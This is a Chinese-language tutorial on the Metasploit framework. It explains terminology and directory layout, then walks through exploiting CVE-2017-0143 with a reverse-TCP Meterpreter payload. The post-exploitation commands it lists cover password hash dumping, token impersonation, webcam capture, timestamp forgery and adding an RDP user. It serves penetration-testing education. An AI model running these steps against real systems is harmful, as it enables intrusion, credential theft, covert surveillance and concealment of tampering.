什么是MSF
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布MSF时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为MSF团队一直都在努力开发各种攻击工具,并将它们贡献给所有MSF用户。
MSF的设计初衷是打造成一个攻击工具开发平台,然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。
MSF专业术语
渗透攻击(Exploit)
渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。
攻击载荷(Payload)
攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。
溢出代码(Shellcode)
shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。
模块(Module)
在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。
监听器(Listener)
监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。
MSF目录结构
MSF Kali下存放目录:/usr/share/MSF-framework/
Modules:
用户用到的各种模块几乎都在这里,用户使用use这个msf这里时,就是用到了这个目录下的模块。这个目录下的文件在msfconsole启动时会被自动加载的,如果看到msfconsole启动时有出错信息但又能成功启动可以根据出错信息找解决方法,个人写的Module也可以放在这个目录下。
Auxiliary:
主要包含渗透测试中一些辅助性的脚本,这些脚本功能有扫描,嗅探,破解,注入,漏洞挖掘等
Encoders:各种编码工具 用于躲过入侵检测和过滤系统。
Exploits:
主要包含了传说中的exp、0day、各种漏洞利用的脚本。主要的攻击代码全在这,这里边包含的exp的路径的命名规则是 系统/服务/模块,在使用exp是可以根据这个命名方法来找(也可以用search这条指令来找)。比如:use exploites/windows(系统)/vnc(服务)/realvnc_client(模块名)
Nops:
NOP (No Operation or Next Operation) sled,由于IDS/IPS会检查数据包中不规则的数据,所以在某些场合下(比如针对溢出攻击),某些特殊的滑行字符串(NOPS x90x90...)则会因为被拦截而导致攻击失效,所以此时需要修改exploit中的NOPs.nops文件夹下的东西会在payload生成时用到(后面会有介绍)。比如我们打开php的NOPS生成脚本,就会发现它只是返回了指定长度的空格而已。(不理解没关系)
Payloads :
这个单词翻译过来叫载荷:是攻击者发送给系统执行的指令(不包含exploits攻击阶段),payloads主要是在目标机执行的,而exploits是在本地机执行作用于目标机。命名规则是: 系统/类型/名称 比如: use payloads/windows/shell/bind_tcp
Post:
这个目录里放着msf 的exploits执行成功后,向目标机发送的一些功能性指令比如:提权,获取hash等。
Data:
这个目录里盛放了Meterpreter、PassiveX、Vnc、DLLs等这些工具和一些用户接口代码,Msfweb 和一些其他模块用到的数据文件。
Data下js文件夹下的Detect,这里面存放的是MSF的探针文件。如果看过MSF浏览器攻击脚本的代码,就会发现调用了一个js库,然后检查当前请求是否符合被攻击环境。如果符合则发送攻击代码,否则中断。Memory中主要是一些堆喷射代码。在大部分浏览器漏洞利用过程,堆喷射是一个不可或缺的过程(当然不是绝对的!)。并且不同的浏览器及版本间,堆喷射代码都有所不同。所以这里给出的探针代码和堆喷射代码是不是一个非常好的学习资源呢。
Plugins:
这里的模块用户需要使用load 来加载,提供数据库连接插件,和各种要用到的插件。
Scripts:
这个目录下的文件大都是Meterpreter这个模块利用的脚本。比如郭Meterpreter里用到的migrate来转移到其他进程的指令的源代码就在这个目录下。
这里的rc脚本相当于Windows下的批处理脚本,在某些情况下会有一定便捷性。比如Veil在生成免杀payload的同时也会生成一个rc脚本,此时使用msfconsole –r xx.rc便可以快速的建立一个和payload对应的handler,亦或在攻过程中需要你反复的set exploit,那么就可以使用这个批处理脚本了,而这个目录下则是一些给定的rc脚本,虽然你可能不习惯这样使用,但作为改写自己的rc脚本的资源也不错。
Tools:
包含一些有用的脚本和零散的工具。
常用命令
帮助菜单 查看MSF支持哪些命令
?
?+命令
查看该命令使用方法
search 漏洞编号
查找该漏洞攻击模块
查到的漏洞编号为CVE-2017-0143漏洞利用工具
use 2
选择好利用工具
show option
查看配置项
配置目标IP
set RHOSTS 192.168.60.174
然后设置木马
show payloads
查看都有哪些木马
set payload windows/x64/meterpreter/reverse_tcp
选择反向链接木马
查看下木马的配置项
需要配置本机IP 端口默认配置好了
set LHOST 本机IP
设置好后 输入exploit 执行
连接成功
上传木马并执行木马文件
MSF后继攻击
输入shell进入目标cmd下
输入getsystem获取管理员权限
输入exit退出cmd
hashdump
查看目标主机用户密码
后面1001代表普通用户 500代表管理员
端口转发
portfwd add -l 6666 -p 3389 -r 127.0.0.1
添加端口转发 转发目标主机3389端口到127.0.0.1 的6666端口
输入命令
rdesktop 127.0.0.1:6666
端口转发远程连接成功
搜索所有txt类型文件
search -f *.txt
获取用户id
getuid
获取系统信息
sysinfo
token值切换用户
1.use incognito 加载incognito模块
2.list_tokens -u 列出所有用户token
3.impersonate_token “Machine\\user” 切换高权限用户
查看摄像头
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
本机没有摄像头就不演示了
复制文件时间戳
timestomp C://222.txt -f C://about_aliases.help.txt
将help.txt的时间复制给222.txt
enable_rdp脚本开启3389
run post/windows/manage/enable_rdp
添加新的用户用于登录
run post/windows/manage/enable_rdp USERNAME=WWW PASSWORD=WWW
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662